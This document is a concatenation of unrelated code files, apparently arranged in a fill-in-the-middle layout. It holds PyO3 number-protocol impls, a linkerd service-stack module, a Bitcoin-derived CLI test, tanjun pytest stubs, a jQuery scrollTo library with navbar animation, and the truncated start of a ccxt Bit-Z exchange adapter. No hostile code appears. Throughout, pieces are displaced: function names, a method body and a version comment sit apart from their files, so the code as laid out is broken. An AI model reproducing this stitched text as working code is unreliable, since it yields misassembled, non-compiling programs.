PyNumberProtocol<'p>, { default fn nb_negative() -> Option<ffi::unaryfunc> { None } } impl<T> PyNumberNegProtocolImpl for T where T: for<'p> PyNumberNegProtocol<'p>, { #[inline] fn nb_negative() -> Option<ffi::unaryfunc> { py_unary_func!( PyNumberNegProtocol, T::__neg__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberPosProtocolImpl { fn nb_positive() -> Option<ffi::unaryfunc>; } impl<'p, T> PyNumberPosProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_positive() -> Option<ffi::unaryfunc> { None } } impl<T> PyNumberPosProtocolImpl for T where T: for<'p> PyNumberPosProtocol<'p>, { fn nb_positive() -> Option<ffi::unaryfunc> { py_unary_func!( PyNumberPosProtocol, T::__pos__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberAbsProtocolImpl { fn nb_absolute() -> Option<ffi::unaryfunc>; } impl<'p, T> PyNumberAbsProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_absolute() -> Option<ffi::unaryfunc> { None } } impl<T> PyNumberAbsProtocolImpl for T where T: for<'p> PyNumberAbsProtocol<'p>, { fn nb_absolute() -> Option<ffi::unaryfunc> { py_unary_func!( PyNumberAbsProtocol, T::__abs__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberInvertProtocolImpl { fn nb_invert() -> Option<ffi::unaryfunc>; } impl<'p, T> PyNumberInvertProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_invert() -> Option<ffi::unaryfunc> { None } } impl<T> PyNumberInvertProtocolImpl for T where T: for<'p> PyNumberInvertProtocol<'p>, { fn nb_invert() -> Option<ffi::unaryfunc> { py_unary_func!( PyNumberInvertProtocol, T::__invert__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberIntProtocolImpl { fn nb_int() -> Option<ffi::unaryfunc>; } impl<'p, T> PyNumberIntProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_int() -> Option<ffi::unaryfunc> { None } } impl<T> PyNumberIntProtocolImpl for T where T: for<'p> PyNumberIntProtocol<'p>, { fn nb_int() -> Option<ffi::unaryfunc> { py_unary_func!( PyNumberIntProtocol, T::__int__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberFloatProtocolImpl { fn nb_float() -> Option<ffi::unaryfunc>; } impl<'p, T> PyNumberFloatProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_float() -> Option<ffi::unaryfunc> { None } } impl<T> PyNumberFloatProtocolImpl for T where T: for<'p> PyNumberFloatProtocol<'p>, { fn nb_float() -> Option<ffi::unaryfunc> { py_unary_func!( PyNumberFloatProtocol, T::__float__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberIndexProtocolImpl { fn nb_index() -> Option<ffi::unaryfunc>; } impl<'p, T> PyNumberIndexProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn nb_index() -> Option<ffi::unaryfunc> { None } } impl<T> PyNumberIndexProtocolImpl for T where T: for<'p> PyNumberIndexProtocol<'p>, { fn nb_index() -> Option<ffi::unaryfunc> { py_unary_func!( PyNumberIndexProtocol, T::__index__, T::Success, PyObjectCallbackConverter ) } } trait PyNumberComplexProtocolImpl { fn __complex__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberComplexProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __complex__() -> Option<PyMethodDef> { None } } trait PyNumberRoundProtocolImpl { fn __round__() -> Option<PyMethodDef>; } impl<'p, T> PyNumberRoundProtocolImpl for T where T: PyNumberProtocol<'p>, { default fn __round__() -> Option<PyMethodDef> { None } }
svc.rs
// Possibly unused, but useful during development. pub use crate::proxy::http; use crate::{cache, Error}; pub use linkerd_buffer as buffer; pub use linkerd_concurrency_limit::ConcurrencyLimit; pub use linkerd_stack::{ self as stack, layer, BoxNewService, Fail, Filter, MapTargetLayer, NewRouter, NewService, Predicate, UnwrapOr, }; pub use linkerd_stack_tracing::{InstrumentMake, InstrumentMakeLayer}; pub use linkerd_timeout::{self as timeout, FailFast}; use std::{ task::{Context, Poll}, time::Duration, }; use tower::{ layer::util::{Identity, Stack as Pair}, make::MakeService, }; pub use tower::{ layer::Layer, service_fn as mk, spawn_ready::SpawnReady, util::{Either, MapErrLayer}, Service, ServiceExt, }; #[derive(Clone, Debug)] pub struct Layers<L>(L); #[derive(Clone, Debug)] pub struct Stack<S>(S); pub fn layers() -> Layers<Identity> { Layers(Identity::new()) } pub fn stack<S>(inner: S) -> Stack<S> { Stack(inner) } pub fn proxies() -> Stack<IdentityProxy> { Stack(IdentityProxy(())) } #[derive(Copy, Clone, Debug)] pub struct IdentityProxy(()); impl<T> NewService<T> for IdentityProxy { type Service = (); fn new_service(&mut self, _: T) -> Self::Service {} } #[allow(dead_code)] impl<L> Layers<L> { pub fn push<O>(self, outer: O) -> Layers<Pair<L, O>> { Layers(Pair::new(self.0, outer)) } pub fn push_map_target<M>(self, map_target: M) -> Layers<Pair<L, stack::MapTargetLayer<M>>> { self.push(stack::MapTargetLayer::new(map_target)) } /// Wraps an inner `MakeService` to be a `NewService`. pub fn push_into_new_service( self, ) -> Layers<Pair<L, stack::new_service::FromMakeServiceLayer>> { self.push(stack::new_service::FromMakeServiceLayer::default()) } /// Buffers requests in an mpsc, spawning the inner service onto a dedicated task. pub fn push_spawn_buffer<Req, Rsp>( self, capacity: usize, ) -> Layers<Pair<L, buffer::SpawnBufferLayer<Req, Rsp>>> where Req: Send + 'static, Rsp: Send + 'static, { self.push(buffer::SpawnBufferLayer::new(capacity)) } pub fn push_on_response<U>(self, layer: U) -> Layers<Pair<L, stack::OnResponseLayer<U>>> { self.push(stack::OnResponseLayer::new(layer)) } pub fn push_instrument<G: Clone>(self, get_span: G) -> Layers<Pair<L, InstrumentMakeLayer<G>>> { self.push(InstrumentMakeLayer::new(get_span)) } } impl<M, L: Layer<M>> Layer<M> for Layers<L> { type Service = L::Service; fn layer(&self, inner: M) -> Self::Service { self.0.layer(inner) } } #[allow(dead_code)] impl<S> Stack<S> { pub fn push<L: Layer<S>>(self, layer: L) -> Stack<L::Service> { Stack(layer.layer(self.0)) } pub fn push_map_target<M: Clone>(self, map_target: M) -> Stack<stack::MapTargetService<S, M>> { self.push(stack::MapTargetLayer::new(map_target)) } pub fn push_request_filter<F: Clone>(self, filter: F) -> Stack<stack::Filter<S, F>> { self.push(stack::Filter::<S, F>::layer(filter)) } /// Wraps a `Service<T>` as a `Service<()>`. /// /// Each time the service is called, the `T`-typed request is cloned and /// issued into the inner service. pub fn push_make_thunk(self) -> Stack<stack::MakeThunk<S>> { self.push(layer::mk(stack::MakeThunk::new)) } pub fn instrument<G: Clone>(self, get_span: G) -> Stack<InstrumentMake<G, S>> { self.push(InstrumentMakeLayer::new(get_span)) } pub fn instrument_from_target(self) -> Stack<InstrumentMake<(), S>> { self.push(InstrumentMakeLayer::from_target()) } /// Wraps an inner `MakeService` to be a `NewService`. pub fn into_new_service(self) -> Stack<stack::new_service::FromMakeService<S>> { self.push(stack::new_service::FromMakeServiceLayer::default()) } /// Buffer requests when when the next layer is out of capacity. pub fn spawn_buffer<Req, Rsp>(self, capacity: usize) -> Stack<buffer::Buffer<Req, Rsp>> where Req: Send + 'static, Rsp: Send + 'static, S: Service<Req, Response = Rsp> + Send + 'static, S::Error: Into<Error> + Send + Sync, S::Future: Send, { self.push(buffer::SpawnBufferLayer::new(capacity)) } /// Assuming `S` implements `NewService` or `MakeService`, applies the given /// `L`-typed layer on each service produced by `S`. pub fn push_on_response<L: Clone>(self, layer: L) -> Stack<stack::OnResponse<L, S>> { self.push(stack::OnResponseLayer::new(layer)) } pub fn push_timeout(self, timeout: Duration) -> Stack<tower::timeout::Timeout<S>> { self.push(tower::timeout::TimeoutLayer::new(timeout)) } pub fn push_http_insert_target<P>(self) -> Stack<http::insert::NewInsert<P, S>> { self.push(http::insert::NewInsert::layer()) } pub fn push_cache<T>(self, idle: Duration) -> Stack<cache::Cache<T, S>> where T: Clone + Eq + std::fmt::Debug + std::hash::Hash + Send + Sync + 'static, S: NewService<T> + 'static, S::Service: Send + Sync + 'static, { self.push(cache::Cache::layer(idle)) } /// Push a service that either calls the inner service if it is ready, or /// calls a `secondary` service if the inner service fails to become ready /// for the `skip_after` duration. pub fn push_when_unready<B: Clone>( self, skip_after: Duration, secondary: B, ) -> Stack<stack::NewSwitchReady<S, B>> { self.push(layer::mk(|inner: S| { stack::NewSwitchReady::new(inner, secondary.clone(), skip_after) })) } pub fn push_switch<P: Clone, U: Clone>( self, predicate: P, other: U, ) -> Stack<Filter<stack::NewEither<S, U>, P>> { self.push(layer::mk(move |inner| { stack::Filter::new( stack::NewEither::new(inner, other.clone()), predicate.clone(), ) })) } /// Validates that this stack serves T-typed targets. pub fn check_new<T>(self) -> Self where S: NewService<T>, { self } pub fn check_new_clone<T>(self) -> Self where S: NewService<T>, S::Service: Clone, { self } /// Validates that this stack serves T-typed targets. pub fn check_new_service<T, Req>(self) -> Self where S: NewService<T>, S::Service: Service<Req>, { self } /// Validates that this stack serves T-typed targets. pub fn check_clone_new_service<T, Req>(self) -> Self where S: NewService<T> + Clone, S::Service: Service<Req>, { self } /// Validates that this stack can be cloned pub fn check_clone(self) -> Self where S: Clone, { self } /// Validates that this stack serves T-typed targets. pub fn check_service<T>(self) -> Self where S: Service<T>, { self } /// Validates that this stack serves T-typed targets with `Unpin` futures. pub fn check_service_unpin<T>(self) -> Self where S: Service<T>, S::Future: Unpin, { self } pub fn check_service_response<T, U>(self) -> Self where S: Service<T, Response = U>, { self } /// Validates that this stack serves T-typed targets. pub fn check_make_service<T, U>(self) -> Self where S: MakeService<T, U>, { self } /// Validates that this stack serves T-typed targets. pub fn check_make_service_clone<T, U>(self) -> Self where S: MakeService<T, U> + Clone, S::Service: Clone, { self } pub fn check_new_send_and_static<M, T, Req>(self) -> Self where S: NewService<T, Service = M>, M: Service<Req> + Send + 'static, M::Response: Send + 'static, M::Error: Into<Error> + Send + Sync, M::Future: Send,
pub fn into_inner(self) -> S { self.0 } } impl<T, N> NewService<T> for Stack<N> where N: NewService<T>, { type Service = N::Service; fn new_service(&mut self, t: T) -> Self::Service { self.0.new_service(t) } } impl<T, S> Service<T> for Stack<S> where S: Service<T>, { type Response = S::Response; type Error = S::Error; type Future = S::Future; fn poll_ready(&mut self, cx: &mut Context<'_>) -> Poll<Result<(), Self::Error>> { self.0.poll_ready(cx) } fn call(&mut self, t: T) -> Self::Future { self.0.call(t) } }
{ self }
interface_bitcoin_cli.py
#!/usr/bin/env python3 # Copyright (c) 2017 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test ysw-cli""" from test_framework.test_framework import YieldSakingWalletTestFramework from test_framework.util import assert_equal, assert_raises_process_error, get_auth_cookie import time class TestBitcoinCli(YieldSakingWalletTestFramework): def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 1 def
(self): """Main test logic""" self.log.info("Sleeping 30 seconds...") time.sleep(30) self.log.info("Compare responses from gewalletinfo RPC and `ysw-cli getwalletinfo`") cli_response = self.nodes[0].cli.getwalletinfo() rpc_response = self.nodes[0].getwalletinfo() assert_equal(cli_response, rpc_response) self.log.info("Compare responses from getblockchaininfo RPC and `ysw-cli getblockchaininfo`") cli_response = self.nodes[0].cli.getblockchaininfo() rpc_response = self.nodes[0].getblockchaininfo() assert_equal(cli_response, rpc_response) user, password = get_auth_cookie(self.nodes[0].datadir) self.log.info("Compare responses from `ysw-cli -getinfo` and the RPCs data is retrieved from.") cli_get_info = self.nodes[0].cli('getinfo').send_cli() wallet_info = self.nodes[0].getwalletinfo() network_info = self.nodes[0].getnetworkinfo() blockchain_info = self.nodes[0].getblockchaininfo() assert_equal(cli_get_info['version'], network_info['version']) assert_equal(cli_get_info['protocolversion'], network_info['protocolversion']) assert_equal(cli_get_info['walletversion'], wallet_info['walletversion']) assert_equal(cli_get_info['balance'], wallet_info['balance']) assert_equal(cli_get_info['blocks'], blockchain_info['blocks']) assert_equal(cli_get_info['timeoffset'], network_info['timeoffset']) assert_equal(cli_get_info['connections'], network_info['connections']) assert_equal(cli_get_info['proxy'], network_info['networks'][0]['proxy']) assert_equal(cli_get_info['difficulty'], blockchain_info['difficulty']) assert_equal(cli_get_info['testnet'], blockchain_info['chain'] == "test") assert_equal(cli_get_info['balance'], wallet_info['balance']) assert_equal(cli_get_info['keypoololdest'], wallet_info['keypoololdest']) assert_equal(cli_get_info['keypoolsize'], wallet_info['keypoolsize']) assert_equal(cli_get_info['paytxfee'], wallet_info['paytxfee']) assert_equal(cli_get_info['relayfee'], network_info['relayfee']) # unlocked_until is not tested because the wallet is not encrypted if __name__ == '__main__': TestBitcoinCli().main()
run_test
test_utilities.py
# -*- coding: utf-8 -*- # cython: language_level=3 # BSD 3-Clause License # # Copyright (c) 2020-2021, Faster Speeding # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # pyright: reportUnknownMemberType=none # This leads to too many false-positives around mocks. import typing from collections import abc as collections from unittest import mock import pytest import tanjun from tanjun import utilities _T = typing.TypeVar("_T") def async_iter_mock(*values: _T) -> collections.AsyncIterable[_T]: return mock.Mock(__aiter__=mock.Mock(return_value=mock.Mock(__anext__=mock.AsyncMock(side_effect=values)))) @pytest.mark.asyncio() async def test_async_chain(): resources = ( async_iter_mock(1, 2, 3), async_iter_mock(99, 55, 44), async_iter_mock(444, 333, 222), ) results = [result async for result in utilities.async_chain(resources)] assert results == [1, 2, 3, 99, 55, 44, 444, 333, 222] @pytest.mark.asyncio() async def test_await_if_async_handles_async_callback(): callback = mock.AsyncMock() assert await utilities.await_if_async(callback) is callback.return_value @pytest.mark.asyncio() async def test_await_if_async_handles_sync_callback(): callback = mock.Mock() assert await utilities.await_if_async(callback) is callback.return_value @pytest.mark.asyncio() async def test_gather_checks_handles_no_checks(): assert await utilities.gather_checks(mock.Mock(), ()) is True @pytest.mark.asyncio() async def test_gather_checks_handles_faiedl_check(): mock_ctx = mock.Mock(tanjun.abc.Context) check_1 = mock.AsyncMock() check_2 = mock.AsyncMock(side_effect=tanjun.FailedCheck) check_3 = mock.AsyncMock() assert await utilities.gather_checks(mock_ctx, (check_1, check_2, check_3)) is False check_1.assert_awaited_once_with(mock_ctx) check_2.assert_awaited_once_with(mock_ctx) check_3.assert_awaited_once_with(mock_ctx) @pytest.mark.asyncio() async def test_gather_checks(): mock_ctx = mock.Mock() check_1 = mock.AsyncMock() check_2 = mock.AsyncMock() check_3 = mock.AsyncMock() assert await utilities.gather_checks(mock_ctx, (check_1, check_2, check_3)) is True check_1.assert_awaited_once_with(mock_ctx) check_2.assert_awaited_once_with(mock_ctx) check_3.assert_awaited_once_with(mock_ctx) @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def
(): ... @pytest.mark.parametrize( ("content", "prefix", "expected_result"), [ ("no go sir", ("no", "home", "blow"), "no"), ("hime", ("hi", "hime", "boomer"), "hime"), ("boomer", ("boo", "boomer", "no u"), "boomer"), ("ok boomer", ("no", "nani"), None), ("", ("nannnnni",), None), ("ok ok ok", (), None), ], ) def test_match_prefix_names(content: str, prefix: str, expected_result: typing.Optional[str]): assert utilities.match_prefix_names(content, prefix) == expected_result @pytest.mark.skip(reason="Not implemented") def test_calculate_permissions(): ... @pytest.mark.skip(reason="Not implemented") def test_calculate_permissions_when_guild_owner(): ... @pytest.mark.skip(reason="Not implemented") def test_calculate_permissions_when_admin_role(): ... @pytest.mark.skip(reason="Not implemented") def test_calculate_permissions_when_no_channel(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_permissions(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_permissions_when_guild_owner(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_permissions_when_admin_role(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_permissions_when_no_channel(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_permissions_when_channel_object_provided(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_permissions_for_uncached_entities(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_permissions_for_no_cache(): ... @pytest.mark.skip(reason="Not implemented") def test_calculate_everyone_permissions(): ... @pytest.mark.skip(reason="Not implemented") def test_calculate_everyone_permissions_admin_role(): ... @pytest.mark.skip(reason="Not implemented") def test_calculate_everyone_permissions_no_channel(): ... @pytest.mark.asyncio() async def test_fetch_everyone_permissions(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_everyone_permissions_admin_role(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_everyone_permissions_for_uncached_entities(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_everyone_permissions_for_no_cache(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_everyone_permissions_no_channel(): ... @pytest.mark.skip(reason="Not implemented") @pytest.mark.asyncio() async def test_fetch_everyone_permissions_channel_object_provided(): ...
test_fetch_resource
animation.js
/** *SMOOTH SCROLLING LIBRARY * Copyright (c) 2007-2015 Ariel Flesler - aflesler ○ gmail • com | http://flesler.blogspot.com * Licensed under MIT * @author Ariel Flesler
*/ ;(function(f){"use strict";"function"===typeof define&&define.amd?define(["jquery"],f):"undefined"!==typeof module&&module.exports?module.exports=f(require("jquery")):f(jQuery)})(function($){"use strict";function n(a){return!a.nodeName||-1!==$.inArray(a.nodeName.toLowerCase(),["iframe","#document","html","body"])}function h(a){return $.isFunction(a)||$.isPlainObject(a)?a:{top:a,left:a}}var p=$.scrollTo=function(a,d,b){return $(window).scrollTo(a,d,b)};p.defaults={axis:"xy",duration:0,limit:!0};$.fn.scrollTo=function(a,d,b){"object"=== typeof d&&(b=d,d=0);"function"===typeof b&&(b={onAfter:b});"max"===a&&(a=9E9);b=$.extend({},p.defaults,b);d=d||b.duration;var u=b.queue&&1<b.axis.length;u&&(d/=2);b.offset=h(b.offset);b.over=h(b.over);return this.each(function(){function k(a){var k=$.extend({},b,{queue:!0,duration:d,complete:a&&function(){a.call(q,e,b)}});r.animate(f,k)}if(null!==a){var l=n(this),q=l?this.contentWindow||window:this,r=$(q),e=a,f={},t;switch(typeof e){case "number":case "string":if(/^([+-]=?)?\d+(\.\d+)?(px|%)?$/.test(e)){e= h(e);break}e=l?$(e):$(e,q);case "object":if(e.length===0)return;if(e.is||e.style)t=(e=$(e)).offset()}var v=$.isFunction(b.offset)&&b.offset(q,e)||b.offset;$.each(b.axis.split(""),function(a,c){var d="x"===c?"Left":"Top",m=d.toLowerCase(),g="scroll"+d,h=r[g](),n=p.max(q,c);t?(f[g]=t[m]+(l?0:h-r.offset()[m]),b.margin&&(f[g]-=parseInt(e.css("margin"+d),10)||0,f[g]-=parseInt(e.css("border"+d+"Width"),10)||0),f[g]+=v[m]||0,b.over[m]&&(f[g]+=e["x"===c?"width":"height"]()*b.over[m])):(d=e[m],f[g]=d.slice&& "%"===d.slice(-1)?parseFloat(d)/100*n:d);b.limit&&/^\d+$/.test(f[g])&&(f[g]=0>=f[g]?0:Math.min(f[g],n));!a&&1<b.axis.length&&(h===f[g]?f={}:u&&(k(b.onAfterFirst),f={}))});k(b.onAfter)}})};p.max=function(a,d){var b="x"===d?"Width":"Height",h="scroll"+b;if(!n(a))return a[h]-$(a)[b.toLowerCase()]();var b="client"+b,k=a.ownerDocument||a.document,l=k.documentElement,k=k.body;return Math.max(l[h],k[h])-Math.min(l[b],k[b])};$.Tween.propHooks.scrollLeft=$.Tween.propHooks.scrollTop={get:function(a){return $(a.elem)[a.prop]()}, set:function(a){var d=this.get(a);if(a.options.interrupt&&a._last&&a._last!==d)return $(a.elem).stop();var b=Math.round(a.now);d!==b&&($(a.elem)[a.prop](b),a._last=this.get(a))}};return p}); //Trigger Navbar animation if transition is not supported whenAvailable($('#navBar li').eq(7),function(){ $("#navBar a").click(function(evn){ evn.preventDefault(); $('html,body').scrollTo(this.hash, this.hash); }); if(!Modernizr.csstransitions){ $('#navBar li').hover(function(){ $(this).find('svg').css('fill', '#76A634'); $(this).find('p').css('color', '#000'); $(this).animate({"width": '200'}, 'linear').css('background-color', '#76A634'); }, function(){ $(this).animate({"width": '40'}, 'linear', function(){ $(this).find('p').css('color', 'transparent'); $(this).css('background-color', 'transparent'); $(this).find('svg').css('fill', '#76A634'); }); }); } }); //Animation for contact form errors function quake(element){ $(element).animate({left: '-=10px'}, 100, function(){ $(element).animate({left: '+=20px'}, 100, function(){ $(element).animate({left: '-=20px'}, 100, function(){ $(element).animate({left: '+=20px'}, 100, function(){ $(element).animate({left: '-=10px'}, 100, function(){ $(element).animate({left: '0px'}, 100); }); }); }); }); }); }function closeMobileMenu(menu){ menu.removeClass('menuOpen'); menu.animate({left: '-=200px'}, 250); } function openMobileMenu(menu){ menu.addClass('menuOpen'); menu.animate({left: '+=200px'}, 250); }
* @version 2.1.3
bitz.py
# -*- coding: utf-8 -*- # PLEASE DO NOT EDIT THIS FILE, IT IS GENERATED AND WILL BE OVERWRITTEN: # https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md#how-to-contribute-code from ccxt.base.exchange import Exchange import math from ccxt.base.errors import ExchangeError from ccxt.base.errors import AuthenticationError from ccxt.base.errors import PermissionDenied from ccxt.base.errors import ArgumentsRequired from ccxt.base.errors import InsufficientFunds from ccxt.base.errors import InvalidOrder from ccxt.base.errors import OrderNotFound from ccxt.base.errors import DDoSProtection from ccxt.base.errors import RateLimitExceeded from ccxt.base.errors import ExchangeNotAvailable from ccxt.base.errors import OnMaintenance class bitz(Exchange): def describe(self): return self.deep_extend(super(bitz, self).describe(), { 'id': 'bitz', 'name': 'Bit-Z', 'countries': ['HK'], 'rateLimit': 2000, 'version': 'v2', 'userAgent': self.userAgents['chrome'], 'has': { 'fetchTickers': True, 'fetchOHLCV': True, 'fetchOpenOrders': True, 'fetchClosedOrders': True, 'fetchOrders': True, 'fetchOrder': True, 'createMarketOrder': False, 'fetchDeposits': True, 'fetchWithdrawals': True, 'fetchTransactions': False, }, 'timeframes': { '1m': '1min', '5m': '5min', '15m': '15min', '30m': '30min', '1h': '60min', '4h': '4hour', '1d': '1day', '5d': '5day', '1w': '1week', '1M': '1mon', }, 'hostname': 'apiv2.bitz.com', 'urls': { 'logo': 'https://user-images.githubusercontent.com/1294454/35862606-4f554f14-0b5d-11e8-957d-35058c504b6f.jpg', 'api': { 'market': 'https://{hostname}', 'trade': 'https://{hostname}', 'assets': 'https://{hostname}', }, 'www': 'https://www.bitz.com', 'doc': 'https://apidoc.bitz.com/en/', 'fees': 'https://www.bitz.com/fee?type=1', 'referral': 'https://u.bitz.com/register?invite_code=1429193', }, 'api': { 'market': { 'get': [ 'ticker', 'depth', 'order', # trades 'tickerall', 'kline', 'symbolList', 'currencyRate', 'currencyCoinRate', 'coinRate', ], }, 'trade': { 'post': [ 'addEntrustSheet', 'cancelEntrustSheet', 'cancelAllEntrustSheet', 'getUserHistoryEntrustSheet', # closed orders 'getUserNowEntrustSheet', # open orders 'getEntrustSheetInfo', # order 'depositOrWithdraw', # transactions ], }, 'assets': { 'post': [ 'getUserAssets', ], }, }, 'fees': { 'trading': { 'maker': 0.002, 'taker': 0.002, }, 'funding': { 'withdraw': { 'BTC': '0.5%', 'DKKT': '0.5%', 'ETH': 0.01, 'USDT': '0.5%', 'LTC': '0.5%', 'FCT': '0.5%', 'LSK': '0.5%', 'HXI': '0.8%', 'ZEC': '0.5%', 'DOGE': '0.5%', 'MZC': '0.5%', 'ETC': '0.5%', 'GXS': '0.5%', 'XPM': '0.5%', 'PPC': '0.5%', 'BLK': '0.5%', 'XAS': '0.5%', 'HSR': '0.5%', 'NULS': 5.0, 'VOISE': 350.0, 'PAY': 1.5, 'EOS': 0.6, 'YBCT': 35.0, 'OMG': 0.3, 'OTN': 0.4, 'BTX': '0.5%', 'QTUM': '0.5%', 'DASH': '0.5%', 'GAME': '0.5%', 'BCH': '0.5%', 'GNT': 9.0, 'SSS': 1500.0, 'ARK': '0.5%', 'PART': '0.5%', 'LEO': '0.5%', 'DGB': '0.5%', 'ZSC': 130.0, 'VIU': 350.0, 'BTG': '0.5%', 'ARN': 10.0, 'VTC': '0.5%', 'BCD': '0.5%', 'TRX': 200.0, 'HWC': '0.5%', 'UNIT': '0.5%', 'OXY': '0.5%', 'MCO': 0.3500, 'SBTC': '0.5%', 'BCX': '0.5%', 'ETF': '0.5%', 'PYLNT': 0.4000, 'XRB': '0.5%', 'ETP': '0.5%', }, }, }, 'precision': { 'amount': 8, 'price': 8, }, 'options': { 'fetchOHLCVVolume': True, 'fetchOHLCVWarning': True, 'lastNonceTimestamp': 0, }, 'commonCurrencies': { # https://github.com/ccxt/ccxt/issues/3881 # https://support.bit-z.pro/hc/en-us/articles/360007500654-BOX-BOX-Token- 'BOX': 'BOX Token', 'LEO': 'LeoCoin', 'XRB': 'NANO', 'PXC': 'Pixiecoin', 'VTC': 'VoteCoin', 'TTC': 'TimesChain', }, 'exceptions': { # '200': Success '-102': ExchangeError, # Invalid parameter '-103': AuthenticationError, # Verification failed '-104': ExchangeNotAvailable, # Network Error-1 '-105': AuthenticationError, # Invalid api signature '-106': ExchangeNotAvailable, # Network Error-2 '-109': AuthenticationError, # Invalid scretKey '-110': DDoSProtection, # The number of access requests exceeded '-111': PermissionDenied, # Current IP is not in the range of trusted IP '-112': OnMaintenance, # Service is under maintenance '-114': RateLimitExceeded, # The number of daily requests has reached the limit '-117': AuthenticationError, # The apikey expires '-100015': AuthenticationError, # Trade password error '-100044': ExchangeError, # Fail to request data '-100101': ExchangeError, # Invalid symbol '-100201': ExchangeError, # Invalid symbol '-100301': ExchangeError, # Invalid symbol '-100401': ExchangeError, # Invalid symbol '-100302': ExchangeError, # Type of K-line error '-100303': ExchangeError, # Size of K-line error '-200003': AuthenticationError, # Please set trade password '-200005': PermissionDenied, # This account can not trade '-200025': ExchangeNotAvailable, # Temporary trading halt '-200027': InvalidOrder, # Price Error '-200028': InvalidOrder, # Amount must be greater than 0 '-200029': InvalidOrder, # Number must be between %s and %d '-200030': InvalidOrder, # Over price range '-200031': InsufficientFunds, # Insufficient assets '-200032': ExchangeError, # System error. Please contact customer service '-200033': ExchangeError, # Fail to trade '-200034': OrderNotFound, # The order does not exist '-200035': OrderNotFound, # Cancellation error, order filled '-200037': InvalidOrder, # Trade direction error '-200038': ExchangeError, # Trading Market Error '-200055': OrderNotFound, # Order record does not exist '-300069': AuthenticationError, # api_key is illegal '-300101': ExchangeError, # Transaction type error '-300102': InvalidOrder, # Price or number cannot be less than 0 '-300103': AuthenticationError, # Trade password error '-301001': ExchangeNotAvailable, # Network Error-3 }, }) def fetch_markets(self, params={}): response = self.marketGetSymbolList(params) # # { status: 200, # msg: "", # data: { ltc_btc: { id: "1", # name: "ltc_btc", # coinFrom: "ltc", # coinTo: "btc", # numberFloat: "4", # priceFloat: "8", # status: "1", # minTrade: "0.010", # maxTrade: "500000000.000"}, # qtum_usdt: { id: "196", # name: "qtum_usdt", # coinFrom: "qtum", # coinTo: "usdt", # numberFloat: "4", # priceFloat: "2", # status: "1", # minTrade: "0.100", # maxTrade: "500000000.000"}, }, # time: 1535969146, # microtime: "0.66955600 1535969146", # source: "api" } # markets = self.safe_value(response, 'data') ids = list(markets.keys()) result = [] for i in range(0, len(ids)): id = ids[i] market = markets[id] numericId = self.safe_string(market, 'id') baseId = self.safe_string(market, 'coinFrom') quoteId = self.safe_string(market, 'coinTo') base = baseId.upper() quote = quoteId.upper() base = self.safe_currency_code(base) quote = self.safe_currency_code(quote) symbol = base + '/' + quote precision = { 'amount': self.safe_integer(market, 'numberFloat'), 'price': self.safe_integer(market, 'priceFloat'), } result.append({ 'info': market, 'id': id, 'numericId': numericId, 'symbol': symbol, 'base': base, 'quote': quote, 'baseId': baseId, 'quoteId': quoteId, 'active': True, 'precision': precision, 'limits': { 'amount': { 'min': self.safe_float(market, 'minTrade'), 'max': self.safe_float(market, 'maxTrade'), }, 'price': { 'min': math.pow(10, -precision['price']), 'max': None, }, 'cost': { 'min': None, 'max': None, }, }, }) return result def fetch_balance(self, params={}): self.load_markets() response = 